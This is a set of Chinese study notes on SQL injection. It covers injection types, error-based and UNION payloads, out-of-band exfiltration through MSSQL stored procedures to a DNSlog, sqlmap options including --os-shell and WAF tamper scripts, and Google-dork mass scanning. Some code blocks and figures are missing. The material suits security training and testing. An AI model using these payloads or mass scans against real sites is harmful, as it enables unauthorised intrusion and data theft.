SQL 注入总结
Abstract: SQL 注入总结,及note38-note40 笔记整理。
Table of Contents
SQL 注入原理
当 Web 应用向后台数据库传递 SQL 语句进行数据库操作时,若对用户输入的参数没有经过严格的过滤处理,攻击者可以构造特殊 SQL 语句,直接输入数据库引擎执行,获取或修改数据库中数据。
- SQL 注入漏洞本质:把用户输入的数据当作代码执行,违背了“数据与代码分离”的原则。
- SQL 注入漏洞有两个关键条件:
- 用户能控制输入内容
- Web 应用把用户输入的内容带入到数据库中执行
SQL 注入分类

二次编码原理
提交的参数到 Web 服务器时,Web 服务器会自动解码一次,若某处使用了 urldecode 或者 rawurldecode 函数,则会导致二次解码生成单引号引发注入。

1 |
|
当 POST 的数据是 id=1%2527 时,数据发送到服务端会解码一次变为 id=1%27 ,由于没有敏感字符,经过 addslashes() 函数过滤后,还是 id=1%27,此时再经过 urldecode() 解码函数,数据为 id=1' 带入到 SQL 语句如下:
1 | SELECT * FROM users WHERE id='1'' limit 0, 1 |

如把 urldecode() 函数和 addslashes() 函数交换位置,id=1%2527 经服务器解码后为 id=1%27 然后再经 urldecode() 函数解码为 id=1' ,然后再由 addslashes() 后为 id=1\' ,可以看出来返回数据。

二次注入原理
在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者借助 get_magic_quotes_gpc 对其中的特殊字符进行转义,但是 addslashes 虽然参数在过滤后会添加 \ 进行转义,但 \ 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者认为数据是可信的,下次需要进行查询的时候,直接从数据库中取出脏数据,没有进行检验和处理,这样会造成 SQL 的二次注入。

二次注入原理,主要分为两步:
插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
引用恶意数据
将数据存入到数据库中后,开发者认为数据是可信的。下次需要查询的时候,直接从数据库中取出恶意数据,没有进行进一步的检验何处理。
宽字节注入原理

如何防止宽字节注入?
- 使用
mysql_set_charset("GBK") - 使用
mysql_real_escape_string($id)

HTTP 头注入
HTTP 头部部分参数详解
| 参数 | 功能 |
|---|---|
| User-Agent | 浏览器向服务器表名自己的身份,使得服务器能够识别客户使用的操作系统,浏览器版本 |
| Cookie | 网站为了辨别用户身份,进行 session 跟踪而储存在用户本地终端上的数据 |
| X-Forwarded-For | 简称 XFF 头,它代表客户端,HTTP 请求端真是的 IP |
| Referer | 浏览器向 Web 服务器表名自己从哪个页面链接过来的 |
| Host | 客户端指定自己想访问的 Web 服务器的域名/ IP 地址和端口号 |


盲注步骤
- 先用
count()判断个数 - 再用
length()依次判断各个库名,表名,字段名的长度 - 用
ascii()+substr()+if()结合判断出每个字符
外带查询原理

MSSQL 下,可以利用自带的存储过程或创建自定义的存储过程,向外发送网络请求。并利用DNSlog 接收外传的数据。常用的函数有:
xp_subdirsxp_dirtreexp_fileexistxp_cmdshell
前三个存储过程的效果和使用方法几乎一致。
1 | declare @a varchar(1024); |
xp_cmdshell 要求必须为 DBA 权限下才可使用。
1 | sp_configure 'show advanced options',1; |
1 | declare @a varchar(1024); |
SQL 注入流程

信息搜集

获取数据

移位溢注(使用ACCESS和MYSQL)
可以在获取不了列名的情况下获取数据,但是要求后面的表个字段数小于前面表的字段数。
偏移注入的步骤:
- 判断注入点
- order by 判断长度
- 判断表名
- 联合查询
- 获取表中列数
- 开始偏移注入
使用新方法注入:
获取 admin 表的列数:
用 order by 24 判断出字段长度
1 | # 返回错误页面 |
判断出页面那些位置能够显示数据,比如 13, 14 可以显示数据
1 | UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,17,18,19,20,21,22,23,24 FROM admin |
admin 表的前两列能够显示
1 | UNION SELECT 1,2,3,4,5,6,7,8,9,10,admin.*,15,1617,18,19,20,21,22,23,24 FROM admin |
admin 表的后两列能够显示
提权

sqlmap –os-shell 原理
--os-shell 流程

命令行界面:

--os-shell 需要的条件:
FILE权限- 可写的绝对路径
PHP GPCOFF
原理简述:通过 MySQL 的 into outfile 和 into dumpfile 向网站目录下写入 php 代码,用来执行系统命令。
MySQL 注入常用函数
| 函数名称 | 函数功能 | 函数名称 | 函数功能 | |
|---|---|---|---|---|
| system_user() | 系统用户名 | concat() | 没有分隔符地连接字符串 | |
| user() | 用户名 | concat_ws() | 含有分隔符地连接字符串 | |
| current_user() | 当前用户名 | group_concat() | 连接一个组所有字符串,并以逗号分隔每条数据 | |
| session_user() | 连接数据库的用户名 | load_file() | 读取本地文件 | |
| database() | 数据库名 | into outfile() | 写文件 | |
| version() | 数据库版本 | ascii() | 字符串的 ASCII 码值 | |
| @@datadir | 数据库路径 | ord() | 返回字符串第一个字符的 ASCII 值 | |
| @@basedir | 数据库安装路径 | mid()/substr() | 返回一个字符串的一部分 | |
| @@version_compile_os | 操作系统 | length() | 返回字符串长度 | |
| count() | 返回执行结果数量 | sleep() | 让语句运行N秒钟 | |
| left() | 返回字符串最左边几个字符 | if() | > select if(1>2,2,3);-> 3 | |
| floor() | 返回小于或等于 x 的最大整数 | char() | 返回 ASCII 代码组成的字符串 | |
| extractvalue() | 用于报错注入 | updatexml() | 用于报错注入 | |
| strcmp() | 比较字符串内容 | exp() | 返回 e 的 x 次方 |
常用的报错注入语句如下:
- floor()
1 | and (select 1 from (select count(*),concat(user()/*存放要查询的 SQL 语句*/,floor(rand(0)*2))x from information_schema.tables group by x)a); |
- extractvalue()
1 | and (extractvalue(1,concat(0x7e,(select user()/*存放要查询的 SQL 语句*/),0x7e))); |
- updatexml()
1 | and (updatexml(1,concat(0x7e,(select user()/*存放要查询的 SQL 语句*/),0x7e),1)); |
sqlmap 的使用
指定 sqlmap 的探测技术
--technique=TECH
- B: Boolean-based blind SQL injection
- E: Error-based SQL injection
- U: UNION query SQL injection
- S: Stacked queries SQL injection
- T: Time-based blind SQL injection
指定注入参数
1 | sqlmap -u "url" -p "id, user-agent" |
设置代理
好处:
1. 方便测试某些网站
2. 代理关联上 `burp` ,方便我们学习 `sqlmap` 发包规则1 | sqlmap -u "url" --proxy="http://127.0.0.1:8080" |
设置好 burp ,可以在代理界面看到 sqlmap 发送的数据包。
三种级别:详细程度/探测/风险
- 详细程度:注入时
sqlmap的界面显示的内容详细程度,级别程度为 0-6 ,默认为 1 ,指定参数用-v来表示。
| 级别 | 介绍 |
|---|---|
| 0 | 只显示 python 错误以及严重的信息 |
| 1 | 同时显示基本信息和警告信息 |
| 2 | 同时显示 debug 信息 |
| 3 | 同时显示注入的 payload |
| 4 | 同时显示 HTTP 请求头 |
| 5 | 同时显示 HTTP 响应头 |
| 6 | 同时显示 HTTP 响应页面 |
- 探测等级:指注入的
payload语句的复杂程度,级别为 1-5,默认为 1 。
1 | sqlmap -u "url" --level=LEVEL |
- 使用哪些
payload也影响注入点的选择 GET/POST都会测试,level 2时,会测试cookie,level 3时,会测试User-Agent和Referer。
- 风险等级:指是否要使用具有不同级别风险的测试语句,级别为 1-3,默认为 1 。
1 | sqlmap -u "url" --risk=RISK |
跳过某些参数
- 跳过注入参宿
使用很大的 level 等级,但有些参数并不需要测试,就可以使用 --skip 参数。
1 | sqlmap -u "url" --skip="user-agent.referer" |
- 跳过
URL编码
注入测试语句不经过 url 编码发送到服务器上。
- 绕过
URL重写规则
有些时候 Web 服务器使用了 URL 重写,导致无法直接使用 sqlmap 测试参数,如 测试URL 这种格式的网址,在测试的参数后面加 *
1 | sqlmap -u "http://xxxx/info/1018*/2347.html" |
闭合注入 Payload
有些环境中,需要在注入的 payload 的前面或后面加一些字符来闭合符号,以保证 payload 的正常执行。
如:
1 |
|
这时需要使用 --prefix 和 --suffix 参数,来进行闭合:
1 | sqlmap -u "http://192.168.100.111/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc" |
这样执行的 SQL 语句变成:
1 |
|
绕过 WAF 设备
--tamper=TAMPER,可以查看 tamper/ 目录下有哪些可用的脚本。
结合 Burp 使用
复制 burp 拦截的 HTTP 请求包,保存为 1.txt
1 | sqlmap -r 'path/1.txt' |
批量扫描 burp 请求日志
- 首先配置
burp记录所有的request请求,并保存在指定文件夹

- 接着浏览器设置
burp代理,访问测试 url ,查看sql.txt。

3. 使用 `sqlmap` 扫描。1 | sqlmap -l sql.txt --batch --smart # batch 会自动选择 yes; smart 启动快速判断,节约时间 |
批量扫描文本中的多个目标
文本中保存 url 格式如下,sqlmap 会一个一个检测。

1 | sqlmap -m url.txt |
利用正则过滤目标网址
参数:--scope
例如:只想要 www 开头,.com/.net/.org 结尾的网址
1 | sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)" |
利用谷歌批量扫
1 | sqlmap -g "inurl:\".php?id=1\"" |
关于文件写入与 shell 获取
1 | --sql-shell # 执行指定 sql 命令 |
WAF
WAF : Web 应用防护系统,主要是对 Web 特有入侵方式的加强防护。只能防御固有特征的漏洞,无法防御逻辑漏洞/ CSRF 漏洞/SSRF 漏洞

WAF 工作流程

常见过 WAF技巧
